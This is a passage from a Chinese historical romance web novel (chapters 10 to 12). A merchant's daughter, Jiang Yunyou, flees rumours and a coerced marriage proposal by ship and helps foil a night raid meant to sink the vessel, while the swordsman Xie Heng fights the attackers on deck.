江云悠往屋里一跳,脆生生的声音亮起来:“呀,今日有菱角粥啊。”她捧起满碗菱角的菱角粥,卖乖道:“哇,这可是阿舅亲手帮我盛的!我是该珍藏起来,还是要一口喝完呢?”
江旬早听惯她的甜言蜜语,却还是笑道:“说好听的也没用,杨夫子今天跟我念叨了你一个时辰。”
说起来江旬今日也是忙,刚处理完昨日的账册,就被怒发冲冠的杨夫子叫住,吐沫横飞的跟他仔细盘点了一个时辰江云悠这块朽木,好不容易送走了杨夫子,江云帆又过来了。
他看江云悠满盘子肉,边给她添青菜边道:“杨夫子年纪大了,经不起你们轮番上阵的迷药。他是师长,一心为学生传道受业解惑,该有的尊重还是要有的。”
“知道了阿舅。”江云悠戳着盘里的不速之客:“我明日会好好跟夫子赔礼道歉认真学的……但是我保证,我那迷药里加的都是安神的东西,茯苓啊,人参啊,都是补药。”
江旬哭笑不得:“杨夫子那么大年纪了,可经不住你们每天这么大补。”
“哦……也是。”
这么补该上火了,下次得放点去火的药了。
江云悠歪头想着,不注意喂了口青菜到嘴里,立马奖励了自己三口东坡肉。
江旬道:“你远叔明日走,下午你去送送吧。”
“这么快?我哥那边都准备好了?”
江旬点头,他今天听了江云帆的计划,虽然涉险了些,但每处也都兜好了网。
“等这趟下海结束,我想把你远叔调去鸽哨,也该让他好好管管你。”
“真的?!”
江云悠立时笑逐颜开,周远从前是江泠的护卫,跟方妤晴一样看着她长大的。
两年前,江家航运正缺个会武的领头人,周远便补了上去。此后每次周远出海都一月有余,她和方姨常常望着平陵北口的方向盼着。
江云悠迫不及待的要把这个好消息告诉方妤晴,却忽然迟钝的反应过来——明日走的话,那他是不是也要走了?
她轻快的脚步慢下来,敲了敲方妤晴的房门。
“谁?”
“方姨,是我。”江云悠等了会不见回话,正准备再敲,房门猝然被拉开。
“书砚?”江云悠看着眼前人:“你也来找方姨啊?”
“少东家。”书砚垂着头一指桌上:“我来给方姑姑送糯米鸡。”
“阿昭吃过饭了吗?快进来吧。”方妤晴从里面出来迎她,桌上放着荷叶包好的糯米鸡。
“方姨饿了吗?怎么不跟我们一起吃啊。诶,这是凉的?”
“不是我吃的。”方妤晴拿过糯米鸡交给门口的书砚,道:“是给你远叔的,他不是明日要走吗,早上打算给他热了吃。这家早上没卖的,便喊书砚今晚上买回来了。”
书砚躬身告退,关了房门。
暖黄的烛光透过窗撒在阶下的小草上。秋日夜晚寒凉,地上起了一层薄霜,江云帆一脚踩上去险些摔个狗啃屎。
10. 光阴易逝(五)
江大少大干一场后有点精神萎靡,连带着眼睛也不太好使了,刚才忽然看见假山处闪过一个黑色的人影,给他吓了一跳。
江家不缺几个蜡烛钱,但江旬讲究简朴,于是许多大花园里几处鲜少人至的地方便没添灯笼。
他揉了揉眼,正准备往里面看看是怎么回事,后面突然传来一声少东家,险些给江云帆吓飞。
书砚在他身后道:“少东家在这黑漆漆的地方干嘛?”
“哦……随便走走。”江云帆撑着面子迅速转开话题,指指她手里的东西:“这么晚才吃饭啊?”
“啊,这个是方姑姑明日给周队长的饭。”
江云帆噢噢两声,忙挥手让她赶紧去别晚了。等人走远了,他这才赶紧拍拍胸口,一口气还没落下,身后又是一喝。
“江云帆!鬼鬼祟祟干嘛呢?!”
江云帆被她喊的差点一口气噎过去:“我今天非得被你们俩吓死,你不会也要给远叔做饭吧,这么晚是打算把月亮也塞进馅里吗?”
“什么做饭?”江云悠道:“我看是某人又做亏心事了吧。”
“嘘!”江云帆瞥一眼假山,凑在她耳边小声道:“我刚看到那边闪过个影子,我今日听街口那老太太说,后街刚死了个被逼婚的小姐,你说那鬼魂不会看我长得太帅,找上我了吧?”
江云悠总算体会到谢衡的无语,她推开这不知真害怕还是纯属自恋过头的哥哥,抬步往假山走去。
“什么也没有好不好。”
她绕着假山走了一圈,扬声道:“只有你养的那只黑乌龟……哇,它跑的还怪快哩。”
江云帆这才敢走过去,一把将她拎着的乌龟抱到怀里:“这可是珍珠龟,花了我二十两银子呢。”
江云悠分不清王八和鳖,不甚稀罕道:“行行行,快抱紧你那金珍珠吧,小心那鬼魂小姐来,给它一口吃了。”
她吹着口哨跳进花丛,抄近道往自己院里去了。
江云帆听着招魂似的哨子,刚想喊闭嘴,就看到不走寻常路的江云悠恰好路过月下石子路——正是刚才他被吓到的位置!
珍珠龟四只短腿挣扎着,扑通一声掉进水池,高大的假山遮住月光,将滞愣的江云帆完全吞在黑暗里。
夜风似乎从寒冷的池中卷起,直撞向远方。
江云悠正脱鞋上床,忽然看到缀着绿松石的鞋面上出现了一粒白点。
她伸手捻起那一粒黏乎乎的白点,清秀中尚带着稚气的眉目微微蹙起。
“这是……米粒?”
“哐啷”一声,房里支着窗户的竹竿被吹落在地,窗扇猛的合上。
那股刺骨的寒风吹过江云悠的面颊,侵蚀着屋内的暖意,琉璃灯罩下的烛光微晃,最终在漫长的夜里黯淡下去。
日月轮转,深秋的寒凉一下子蔓延整个平陵城。来往行人换上了厚衣裳,码头上未出海的大船挤在一起,巷口街边的老妇人与邻居友人嚼着转了不知几手的“新鲜事”。
江云悠打了个喷嚏,从杂乱无章的梦里醒过来。她支开窗户,被冷气糊了一脸,窗下几个颜色的菊花顶着霜摇曳。
“物换星移几度秋啊——该到吃柿饼的季节咯。”她抚了抚开的热烈的花朵,哼着小曲关上了窗。
今日刚过辰时,江云悠便坐到了学堂里,她特地从阿舅那给杨夫子拎了包上好的碧螺春,正想着要不要薅朵花插在上面附庸风雅一下,就听书砚在后面追过来。
“不好了……不好了少东家。”书砚一路跑来,上气不接下气道:“曹家……曹家来咱们家提亲了!”
一朵娇花在江云悠手里“咔嚓”折断,紧接着又听书砚道:“外面忽然传起江家掌整个江南财命,乃真正百年世家,还有……您当街殴打县令之子一事已经传遍了……”
江云悠这许久不用在正事上的脑子乱成一个死结,手里的花摔落在地,被不知去向何方的劲风裹挟。
正厅里,江旬闭目捏着眉心,院中堆着系绸带的木箱红的扎眼。
方妤晴招来小厮将那堆东西搬走,江旬闻声睁开眼,声音疲乏道:“把箱子里的东西与送来的册子对一遍,再添些银子送去白马寺,对外就说是曹县令和江家捐赠给流民的,不要让人拿住把柄。”
“放心吧,我找家里老人看着。”方妤晴端着菊花茶走近,轻声问:“曹家来势汹汹,家主打算如何处理?”
“他们是想用阿昭压我就范。”江旬眉眼泛起狠色,对身边久候的管家道:“既然莫曹两家都忘了自己做过的污糟事,那就替他们理一理。”
方妤晴低眉敛目的为江旬沏好茶水,自江泠和温凝姝先后去世,江旬在生意上便不再像之前有冲劲,像是看淡了,却没想到他仍掌握着这么多东西。
“那阿昭那边家主打算怎么办?”方妤晴叹口气:“现在针对阿昭的谣言已经在平陵传开了,只要曹家一日在平陵,便会死盯着阿昭,这回是聘礼,下回便不知是什么了。自古民不与官斗,若是他们真拿外面什么莫须有的罪名来押阿昭,我们又该怎么办呢。”
江旬沉默下来,江家是握有曹莫两家不少把柄,但扳倒他们是需要时间的……他不敢赌。
房间里的空气凝滞下来,茶壶里的菊花沉入底部,又被方妤晴倒入杯中,无根的飘在水面上。她把白玉杯放到江旬面前,道:“不若让阿昭跟着周队暂时离开平陵吧。”
“不行!”
江旬想也不想便回绝,语气带出几分罕见的厉色。方妤晴的手几不可察的被这声音晃了一下,片刻后道:“我知道家主是因为泠儿的事,但现在……”
江旬抬手止住了她的话:“你回去吧,这几日看好阿昭。”
方妤晴躬身应是,顺着廊道走到湖心亭。她拿过鱼食往水里洒了些,看向池中央萧索的残荷。
“方、方姑姑。”
书砚跑过来,急道:“少东家跑出去了,我……我没拦住。”
方妤晴猝然转头:“这么乱的时候她出去干什么?”她攥紧素白的袖口:“多派些人出去找,不要惊动曹安仁那边。”
阳光没有丝毫暖意的照在平陵城里的每个人身上,却还是让一路小跑的江云悠出了微汗。
曹安仁虽一直看江家不顺眼,但绝没有深仇大恨,多年来两不干扰,为何此番突然发难?单因为要帮莫家扳倒江氏航运,所以就拼上自己全部身家?
何况自己与曹骏达当街对峙都多少天之前了?为何现在才人尽皆知?流言水漫金山似的直冲江家而来,很难不让人怀疑是否有幕后推手。
曹家、莫家、货船……江云悠脊背忽然一阵发凉,这场乱局究竟是谁在操纵,江家真的只是巨浪中无意卷入的一艘小船吗?
她脚下一个踉跄摔在地上,周围人目光聚过来,不少人认出这是江家那位祖宗,围在一起窃窃私语。
那些充满恶意的谣言瞬间将她淹没,那些嗡嗡声汇成无形的大山,以众人目光为基,重重压在了江云悠身上。
十指不沾阳春水的娇花陡然面对琉璃罩外的狂风暴雨,摇摇欲折。
忽然,一个身影挡在她面前,腰间银剑镇住了四方的赤口毒舌。
爱嚼舌根子的乌合之众欺软怕硬惯了,一时间作鸟兽散去。谢衡转身蹲下,与江云悠平视。
“崴到了?”
江云悠嗡嗡作响的耳朵和一团乱麻的脑子逐渐醒过来,周遭声音恢复清晰,她看了谢衡片刻,轻轻的摇摇头。
谢衡起身朝她伸出手,日光落在他身后,因为逆着光,他清冷的容貌全部遮在暗处,江云悠这才恍然,她原来从没看清过他的模样。
金玉手链轻晃,江云悠拨开了他的手,将自己从地上撑起来。
“你说过你不信缘分的。”
“什么?”
微风将两人鬓发吹乱,谢衡没搞明白这句没头没尾的话。
“你是怎么知道我在这里的?”
江云悠向来轻快的声音染了几分秋风的凉意:“你派人跟踪我,是怕我把你身份说给我哥和阿舅吧。”
谢衡愣了下,他一直觉得江云悠是刁蛮娇气、撒娇耍滑的大小姐,却忘了她不是临安城里那些关在笼中的金丝雀,江家给予她宠爱和娇纵,却从没有桎梏她的眼界和思维。
他看了眼四周,轻声道:“这件事现在的确脱离了掌控,我怀疑……”
“掌控?所以你真的只是利用我们作伐子,引出莫家和曹家?从什么时候开始的,你纵容我在你身边?你故意在我哥面前透露出你是官家人?还是从嘉安湖的那条船上?”
谢衡垂下眸,也算头次体会到张口结舌的感觉。
他确实利用她接触江家,也确实想借他们摁下曹莫两家以此顺藤摸瓜,但这本身是件互利共赢的事情,他隐瞒身份也只是因为自己身份特殊,跟这件事本身没有关系。
可万万没想到事到最后曹安仁突然抽起邪风来,居然咬上了江家,他到现在都没想明白目的是什么。
他叹口气:“你冷静点,这本来是互惠互利的,你们的目的不就是巩固江氏航运的地位吗,我的计划无一对你们有害。”
江云悠眼里失望尽显,她为人赤诚,是真把谢衡当朋友的,却没想却对方只是利用。
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“所以你觉得我没有把你的身份说出去,只是因为这句互惠互利?”
谢衡张了张口,最后还是闭了嘴,她在气头上,讲不明白道理,而他也确实此刻才明白她这通脾气是从何而来——是他一个人在冰天雪地独走惯了,不知道该怎么与人同行了。
江云悠后退一步,继续朝鸽哨方向走去:“那现在你的目的达到了,不要再派人跟着我了。”
“等一下。”
谢衡拉住她胳膊,但很快被她大力挣开。他突然不合时宜的想到犯了脾气的倔驴,也是这么到处尥蹶子。
谢衡无奈,最终只能挡在她面前:“曹家人现在遍地找你,就是想捏住你要挟江家,你也不想自己成为那个把柄吧。”
江云悠被戳中软肋,狠狠剜他一眼。片刻后,指向蹲在路边与野草融为一体的暨雨:“那我要他跟着。”
偷瞧自家将军吃瘪的暨雨突被点名,一个激灵看向谢衡,慌忙摇头:将军大人,我可不想跟着这位母夜叉啊。
可惜将军大人没看懂他的恳求。
路上,暨雨跟在江云悠身后,没忍住替自家将军小声解释道:“其实公子也没想到曹家为何突然对你们出手,今早一听到流言,公子就让我们去查了。”
江云悠回头瞪他:“你是不是想尝尝我的清喉润肺丸了?”
暨雨立即抿住嘴摇头,不说话了。两人在人群中穿梭而过,仍有闲言碎语飘来,但江云悠步履不停,那些声音还没等入耳便散到了风中。
其实她知道谢衡跟这件事没关系,但她那时太过赤诚,讲究黑白分明,又卡在这一团乱麻的节骨眼上,一股脑把脾气都发给了他。
鸽哨依旧跟她几月前来时一样,只不过时移世易,那个掏鸟蛋的少女最终还是留在了往日时光里。
“阿昭?”江云帆忙了一上午,游走于各处消息间,脑袋上还沾了根鸟毛:“你不在家里待着怎么到这来了。”
他看眼江云悠身后“他是谁?”
“小白脸的人。”
江云悠言简意赅,暨雨在后面听的直肝儿颤。
“既然江大小姐已经安全送到,那属下就先回去了。”
江云帆扬声道:“小兄弟那么着急做什么。”
鸽哨左右护卫随着他的声音上前,堵住暨雨的去路。
暨雨下意识摸向腰间的剑,护卫们见状一把抽出长刀,把暨雨围到中心。
江云悠蹙眉:“哥……”
“没事,咱们家兄弟护短,见不得自己人被欺负。”江云帆压下身旁一人的手,众人给他让出一条路。
“劳小兄弟转告你家大人,我江家答应的事不会反悔,但若有人背后捅刀子,我们也不是吃素的,宁可自损一千,也要还他八百。”
暨雨嘴笨,但坚定道:“无论各位信不信,我们都不会做这种龌龊事,我家公子更不会。”
他看了眼人群后面的江云悠,拱手告辞。
江云帆拍拍身边人的肩膀,周围人收了刀四散各处,按部就班的继续自己手上的活。
“这小屁孩还挺正,比他那主子顺眼多了。”
“阿舅说,物以类聚人以群分。”江云悠看着暨雨远去,道:“那些流言的操纵者不会是他们。”
江云帆把手上字条折起来,正要让她别光靠感觉拍板,就听身后一人道:“平常没见你这么听我的话。”
江旬掀帘走入门中,方妤晴和周远紧随其后,两人看见里面的江云悠这才松了一口气。
“阿舅……”
江云悠突遇这一系列的事,整个上午人都是悬着的,忽然看到为自己撑腰的亲人,鼻头一下便酸了。
江云帆挥手让众人退出去,江云悠一下扑倒江旬怀里,眼眶湿润。
江旬见此场景也顾不得说重话了,轻轻的拍着她的背,像小时候哄她喝药、睡觉一般,温声道:“阿昭乖,不要担心,这不是什么大不了的事,跟阿舅回家好好睡一觉,醒了就没事了。”
江云悠躲在阿舅怀里,像被隔绝风雨的大伞笼在暖阳下。可她能感觉到,这把大伞已经在岁月的侵蚀下渐渐老去。
能一辈子躲在琉璃罩里的,是一碰就碎的花瓶,而人总要离开长辈的大伞,接受风雨雷电的淬炼。
江云悠是不参加生意事,但不是耳聋眼瞎的痴儿,她跟在江旬和江云帆身边,知道这次莫家来势汹汹,也知道江家的内忧外患——她做不到成为坐享其成的旁观者。
她从江旬怀里直起身,将眼角的泪擦干,泛红的眼眶晕染出坚韧和刚毅目光。
“我跟远叔的船队离开平陵。”
11. 荆棘塞途(一)
人都是在苦难中长大的吗,江云悠觉得这句话有待商榷,总感觉有点否定过去的意思。
但苦难和困境总会使人更清晰和强烈的认识到自身和所处的环境。它像一根针,让耽溺于安乐的江云悠骤然醒过来。
十六年走马灯晃过的那一瞬间,她耳边掷地有声的响起谢衡的话。
“没有人会永远跟在你后面收拾烂摊子。”
其实真要数起来,江云悠和他不过才相识几天,都算不上真正意义上的认识,但谢衡对她的影响却是最直接、最鲜明的。
江云悠清楚曹安仁是想以自己来要挟江家,而这个把柄是她自己送上去的。
江旬和江云帆都因为她而投鼠忌器,所以当前最好的破局方法只有她离开平陵……
巨帆带着她飘向茫茫大海,那个饱含她笑与泪的海岸逐渐遥远,码头上熟悉的身影成了一个个黑点。
她握着江云帆给的那些字条,眼眶湿润。周远长叹一口气,轻轻拍着她的肩膀。
海风轻柔,吹散了甲板上的啜泣。谢衡站在窗口,呼啸的风声略过耳畔。
暨雨推门禀报:“孟笛姐已经在冯远山和货箱周围布好人手,季柏哥那边也布置好了,只要他们动手,咱一定能来个瓮中捉鳖。”
他好几个月没在军营里与人切磋,跃跃欲试道:“平陵到丹阳有一天的路程,将军觉得他们会选什么时候动手?”
他等了会儿不见回音,正要再问一遍时,谢衡抬手关了窗户。
“今晚。”
船舱阴暗寂静,他点燃木桌上那一截蜡,淡声道:“他们等不到明天。”
夕阳沉海,乌云盖月,群星也跟着黯淡起来。
江云悠不知是认床还是怎的,这一觉睡的极不安稳。她揉着酸疼的脖颈坐起来,尽管已经垫了两层褥子,但船上的条件到底不比家里。
缓神的时候,她隐约听到外面一阵窸窣声,像是什么东西摩擦地面。
江云悠盯了门口半晌,光着脚走到窗前,小心的透过提前留的缝隙看向外面。
冷风倒灌进来,吹的她心口发凉。黑暗里,两个护卫仍立在门口,但却不是原来的面孔了。
临行时江云帆曾告诉过她,因为莫家对这批货势在必得,所以他们推测其极可能会再次选择劫船,而他和谢衡的计划就是守株待兔,彻底把莫家一网打尽。
周远嘱咐过她莫家很可能会晚上行动,但没想到会来的这么凶悍,连周远特地派来保护她的护卫都无声无息的被替换了。
等等,如果是这样的话,那远叔他们知道莫家人已经上船了吗?
江云悠思绪飞转,强迫自己镇定下来。她视线扫过桌上的瓷杯,思索片刻后将其裹在床单里砸碎,将碎片收入袖口。
片刻后,屋内亮起光,门外两人对视一眼,抽刀向屋子靠近。江云悠看着门板上越来越近的人影,稳住发抖的手,率先拉开门。
“你怎么回事啊?喊你半天没听到吗?”
江云悠面上装作一副刁蛮无理的模样,垂下的手却死死握着那片碎瓷——她赌他们现在还不想暴露,这也是她唯一出去报信的机会。
就在她将要维持不住面部表情时,那人终于放了刀,拱手道:“对不住小姐,您有什么事吗?”
江云悠松下的呼吸因为这一句称呼再次提到了嗓子眼——他们知道自己的身份?!
是早有准备或者船上有内应?那今晚的计划是否已经被泄露?
瓷片被握的太紧,在掌中划出一道血痕,江云悠强压下不安,继续喝道:“你进来给我看看那破床,半夜总嘎吱嘎吱的响,吵死了。”
两人没有反应,回应江云悠的唯有黑夜的浪声,但此刻她已经没有回头路了。
“干嘛,我还使唤不动你了是吧?修床那么简单的事都不会吗?”她靠在门上,把颤抖的手背在身后:“你再磨蹭我就把远叔喊来,让他看看你们是怎么吃干饭的。”
前面那人握着刀的手紧了紧,关键时刻被后面的人拦下:“小姐说的是,一个床还是好修的,我随您进去看看吧。”
房门重新关上,江云悠拿过桌上提前洒了迷药的蜡烛,靠近那人,因离得太近,他拧眉看过来。
“怎么了?”江云悠面不改色道:“本姑娘大发善心替你照着光,还不快修。”
烛光上升起袅袅细烟,她耐着性子周旋拖延。终于,迷香药效发挥,那人软软的倒在了地上。
江云悠拿着瓷片飞快的探了下他的脉搏,而后迅速拿起床单将他手脚绑住,堵住嘴拖到床底。
来不及缓口气,她赶忙整理好衣服重新开门,再次确认周围只剩下一人后,她将白粉和瓷片背在身后,道:“你,过来一下,扶下床。”
那人握着刀冷眼盯着江云悠,但她恍若未觉,继续催促道:“快点啊,他正举着呢,一会床倒下来把周围的人都吵醒,你就等着被罚吧。”
关门的刹那,他迅速察觉不对,但已经晚了,江云悠率先踹向他的后心,把手中白粉撒出。
如果谢衡在这大概能看出,这一招是师从自己,或许还会嘲讽她姿势力度,但此刻,已经够江云悠应付这一个人了。
她耐着性子掐准每一个时机,在那人从白雾里打转时抽走刀,架在他的脖颈。
“你们上船来干什么,船上是否有你们内应?”
那人冷哼一声:“你们就等着跟这条船一起沉入海底吧!”
江云悠怕他的声音喊来其他人,赶忙把软筋散塞到他嘴里,绑好拖进了床底。
蜡烛熄灭,屋子重归黑暗。夜晚的海面黑茫茫一片,恍若掉进了个黑布袋子。
江云悠借着几不可见的月光向前走,几乎每隔一段路都会有两个看守。她无法分辨他们是敌是友,只要听到脚步声就会避开。
她不断的变换着路线,但每一个可以出去的路口都被牢牢把守——她像是被锁住的困兽。
黑暗的角落里,江云悠擦掉额上的汗。这条路是看守最少、离周远的屋子最近的路,即便她闯不过去,也足够发出声音示警。
她呼吸都在抖,迭起的浪声像是敲在心上。她深吸一口气,而后迅速整理好自己身上所有的武器。
就在转身走出去的刹那,江云悠的胳膊忽然被人从身后握住,她被重新拉了回来。
江云悠高度警惕的神经几欲崩断,手中瓷片几乎在转身的同时挥出。那人像是早有预料,一手扣住她两个手腕压在墙上,膝盖抵住她将要还击的腿。
眼见四肢都被压制,她想也不想偏头狠狠咬下,舌尖传出铁锈的味道。
“嘶。”
谢衡没料到她还有这招,忙抬起另一只手卡住她的下颌,啧道:“你属狗的?”
江云悠闻声愣住,缓缓抬头。
令人窒息的黑暗里,唯有那双眼眸盛着点点碎光,像无垠深海里投下的一束光。
谢衡见那双眼睛又开始泛红,松手与她拉开了些距离。
“怎么又哭了,涌泉相报不是这么个报法吧。”
江云悠破涕为笑,正要张口,耳边突然传来脚步声。
路口一人拎着刀骤然出现,但此处已经空无一人,他挠了挠头,又仔细看了一遍,这才与外面的人打了个安全的手势。
头顶乌云散尽,隐匿的月光倾泻而下,照在两人躲着的夹缝里。
江云悠松了口气,刚动了下脖子,脑袋便一下磕到谢衡的下巴上,发出闷闷的咚声,她顿时停住动作,小心的瞥向外面。
谢衡也好受不到哪去,这缝隙狭小,他一人进来都只能侧着身子,更何况还加了一个江云悠。他此刻只能双手贴着墙,稍微一动就能感觉到江云悠的头发扫在脖颈。
他压着那股酥痒之意尽量抬高头,提气走出夹缝。他侧头看向四周,对江云悠道:“你先在这待好,一会不管发生什么,只要前面这两个人走了就一直往后舱跑。”
江云悠见他要走,下意识扯住他的袖子。谢衡回眸,眼神询问。
“我……我是想说每个路口都有人看守,越往仓库人越多。哦还有!船上有他们的内应……还有……”
她说的这些谢衡已经听孟笛禀告过,但还是又听她断断续续的说了一遍。
他胳膊上的那只手一直没有松开——说到底,她只是个娇生惯养长大的千金小姐。
莫名的,谢衡想起了自己第一次上战场时的样子。
他压住江云悠微微颤抖的手:“你说过你会号脉?”
江云悠愣了一下,点点头。
谢衡伸出手“帮我个忙。”
江云悠不明所以的把指尖轻轻搭在他的脉门上。
习武之人的脉搏较常人更有力,江云悠在他一下又一下均匀的心跳中缓缓平复呼吸。
谢衡从袖口摸出一把匕首,放在她手中,轻声道:“你已经做的很好了。”
江云悠一怔
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,皎白的光将两人笼在其中,清冷的月华在此刻显得无比温柔。
她攥着匕首,那颗浮起的心在这片刻安静中沉下去,她忽然笑了,歪头道:“这么多宝石,就这么送我吗?”
谢衡眉梢扬了扬,是了,她在富足的环境中长大,身心都汲取了充足的养分,她的家人给了她最坚硬的盔甲——把这狐狸成精的人包成了给两分阳光就灿烂的流氓性格。
谢衡推开她那张得了便宜还卖乖的脸,却在转身时拍了拍她的肩“注意安全。”
刀鞘上的宝石在月夜下反出一道弧光。
匕首上残存的温度,慢慢抚平了江云悠最后的忐忑和慌张——她忽然想起来,忘记跟他说要小心了。
大约过了一盏茶时间,一束白光在天边无声的炸开,又迅速湮灭于黑暗——她见过这束烟花,是谢衡的信号。
她把匕首收入袖里,探头看向那两个守卫。
他们先是向甲板处看去,随后一人抽刀离开,另一个还在张望着,忽然被身后人捂住嘴抹了脖子。
周远领着人出现在拐角,路口两旁重新站上了人。江云悠松了口气,提裙跑过去。
“阿昭?”周远惊愕道:“你怎么出来了,保护你的那两个人呢?”
江云悠摇头,一笔带过自己一路的惊险,直接道:“莫家从南面上的船,明淮兄现在已经跟他们交手,还有最重要的,他们能如此悄无声息的上船还知道我的身份,这说明咱们内部必然还有他们的内应!”
“你说他们在南面上的船?!”
周远眉心紧蹙,谢衡和江云帆计划瓮中捉鳖,特地在北面留了个口子,也因此他才放心的把江云悠放到南面船舱,但现在结果却截然相反?!
内奸一事在平陵时江旬和江云帆就彻查过,这次更是全部换了一批新人,而且计划只有极少数人知道——那个内奸到底是谁?!
原本胜券在握的事情一下子扑朔迷离起来,远处甲板上隐约传来嘶喊声。
巨帆被狂风猛的吹起,挟着一船动荡驶向海的更深处。
江云悠看出周远神色不对,沉下的心紧跟着提起来“是不是计划出了什么纰漏?”
周远不想让她担心,连额上的汗都没有拭去,安抚道:“没事的阿昭,你赶紧去后舱,那里放在着咱们的货,很安全。”
江云悠自是不信,但也深知此刻容不得拖拉,只好摁下种种疑问看着他离开。
周远一介武夫,平日却总穿着长衫,为人和蔼、亲善,像个没有脾气的教书先生。
江云悠在他面前最为放肆,因为不管她是对是错,周远最多也只板着脸对她讲道理。在他眼里,江云悠永远是拿着草蝈蝈坐在他脖颈上嬉笑的小姑娘。
夜幕沉寂,暨雨守在后舱,每个角落都站着披甲执锐的人,气质与江家的护卫截然不同,这是谢衡从丹阳太守那调的城防军。
海浪冲击着船身,每一秒都过得格外漫长。江云悠紧握着匕首,心一直静不下来,她总觉得自己忽略了什么。
她来回踱步试着缓解自己的焦虑,视线不经意的一转,看到了层层防守的后舱。
是了,这里太过安静了。
莫家不是来劫货的吗,为什么此处现在都这么平静,是他们太傻没找到后舱的位置还是……
电光火石间,她脑袋里闪过一句话——你们就等着跟这条船一起沉入海底吧!
如一记重锤砸在头顶,当时她以为这只是句无关紧要的要挟或是下意识的狠话,完全没往深想过。
与此同时,严阵以待的暨雨也感觉出不对劲,叫了两个人去前方探情况。
他侧头看到江云悠神色骤变,但因为被她拿药丸威胁惯了,一时有些犹豫要不要过去问问,但还没等他纠结出所以然,就被江云悠一把攥住肩膀。
“那个叫冯总旗的被你们关在哪?”
暨雨被她薅的愣住,下意识回道:“南面杂物间里……”
是了!这是他们为什么选择南面登船的原因!那么为什么又会在甲板上打起来呢?
甲板……甲板……他们在甲板上需要什么……
江云悠猛然转身对旁边人道:“这条船的内部排水在哪?”
那水手是新上船的,不是很清楚船上布置,结巴道:“应该,应该在甲板附近吧,我也不大清楚。”
果然!
他们并非要劫货,而是想彻底毁尸灭迹——沉了这条船!
12. 荆棘塞途(二)
甲板上弥漫着浓重的血腥味,月光下,片片斑驳的深色痕迹将木板晕染成黑色,浪声叠着刀剑的碰撞在谢衡耳边炸开。
一柄冒着血气的刀径直向他身后劈来。谢衡一剑穿透前面人的胸口,剑花飞转,又快又狠的划过身后人的喉咙。
衣袂翻飞间,如月华般的银剑已扫开一片,但敌人如同倾巢而出的蚂蚁,一波接着一波涌来。孟笛一柄长枪压下数剑,宛如银蛇狂舞。
她久经沙场,耐力自不必说,但随行的人却并非镇北军中人,太平年间里,这群城防军干过最大的事也就是骑马在城里绕圈。
眼下面对这一波接一波的进攻,这群城防军的士气即将告竭。
她挑开身前数人,来到谢衡身边“将军,莫家哪来的这么臭虫?”
谢衡一手把扎进敌人剑下的城防军拎开,拾起地上的剑甩出,精准的割断不停往上爬人的绳索。
“莫家出不起这么多人。”
他提起一个试图背后偷袭的人,纵身越到高处,扬声道:“割断所有绳索,守住外围,临阵脱逃者,立斩!”
话音落下的同时,他手中利剑挥下,血溅三尺。本已心生退意的城防军下意识握紧剑,而那群谢霄拨来凑数的人见此场景纷纷心生惧意。
谢衡眼如鹰隼,锐利的盯住几米外的一个黑衣人,对孟笛道:“掩护我。”
夜色愈加深沉,江云悠赶到时谢衡已经基本控制住了甲板上的形势。
尸体横七竖八的倒着,不远处一人抱着断臂,撕心裂肺的嚎啕,那声音逐渐与幼时噩梦中的嘶吼融合,血气混着海腥味直冲进江云悠的鼻子。
她捂着嘴干呕,眼前画面忽的开始天旋地转,脑海中火光、尸骸、女人拼命的叫喊混沌一片。
她不自觉倒退一步,幸而被人及时扶住“江姑娘,您怎么了?”
然而他的声音如同蒙进罩子里,江云悠耳朵里尽是嗡鸣。她努力睁开眼辨认,在这腥风血海里看到个熟悉的身影。
谢衡的手上沾满血迹,无尽黑夜里,他脚下是满地尸骸,手中长剑饮血,如阎罗殿上破阵而出。
他不知道江云悠的出现,手中剑毫不留情的刺入黑衣人的大腿。
“我最后问一遍,你们的目的是什么?”
黑衣人死咬着嘴,狠盯着谢衡骂了句众人听不懂的话。孟笛悚然一惊,谢衡却没露出丝毫意外。
此人虽然打扮成汉人模样,但发尾微卷,用剑的动作也别别扭扭的。
常年与外族打交道的谢衡一眼就看出不对,但大齐境内,南方又不似关外遍地狼烟,嘉安运河上怎么会出现外族作乱?!
原本逐渐清晰的军械盗窃案背后竟如此盘根错节、迷雾重重。
浪声迭起,谢衡回神,拔剑而出,冷厉的光一扫而过,几滴热血溅在他脸上。
他正准备对孟笛说话,却在侧眸的瞬间,直直对上一双惊惧交加的眼。
江云悠滞愣的看着他,已经完全掉进噩梦里,绝望的火光与哀嚎,大人们四散逃亡,她被扼住脖领提到空中,看到了双森冷嗜血的眼睛。
谢衡不知道她眼中看的是别人,先是怔了怔,刚要提步上前,却看到江云悠手足无措的慌忙倒退。
他动作顿住,停在了原地。
凝滞的空气浮在两人之间,将彼此猝然拉远,江云悠眼里的恐惧比血海更加刺眼。
“阿昭!”
周远才处理完其他地方的敌人,正要与谢衡汇合,就看到江云悠失神的站在满地血腥里。
他脸色骤变,赶忙挡在她身前,从怀里拿出个香包在她鼻尖挥了挥。
“没事了阿昭,我们安全了,安全了,我是远叔啊,阿昭,醒醒。”
江云悠混沌的眼睛在周远不断的呼唤中终于渐渐恢复清明。
幻境褪去,她也终于看清了眼前的人,只不过谢衡已经侧过了身。
暨雨在他旁边说着什么的,江云悠飘着的神魂顿时归位,她急切的抓住周远的胳膊。
“远叔!后舱无人,他们不是来劫货的,而是要沉……”
一语未落,远处忽然惊起一声暴响,巨大的船身猛然晃动了一下,有些没站稳的直接摔了个人仰马翻。
就在所有人愣神时,身后忽然蹦出一群身穿手持弓弩的黑去人将他们围住,众人尚来不及反应,已经被数箭穿心。
谢衡迅速组织城防军布阵防御,然而甲板上一片开阔,饶是他反应再快也挡不住这满天飞箭。
周远护着江云悠,独木难支,右臂被乱箭射中。
江云悠瞳孔骤缩“远叔——”
周远连拔箭都顾不上,将她往身后拉,伤口汩汩往外流血。
腥风中,又一支飞箭破空而来,直奔周远心口。她再顾不得其他,拾起地上沾满鲜血的长剑,横挡在周远身前。
但江云悠武功本就是半吊子,更别提使剑了。曾经偷过的懒现在一股脑反弹回来,将她茫然无措的拍在甲板上。
她左支右绌的挥舞着剑,等反应过来时,利箭已经直直向她额头射来。她后面就是周远,手中剑还挡着左右……
就在这一瞬间,那支箭被人当空截断在手中。
谢衡扔下羽箭,两人视线如蜻蜓点水般交汇,又很快被重重人影相隔。
他剑从没停过,一面挡着流箭一面喊过孟笛“他们是想要沉船,你带暨雨领江家人先撤,周远知道备用小船的位置。”
“可是货怎么办,没了这个我们这次下江南岂不是……”
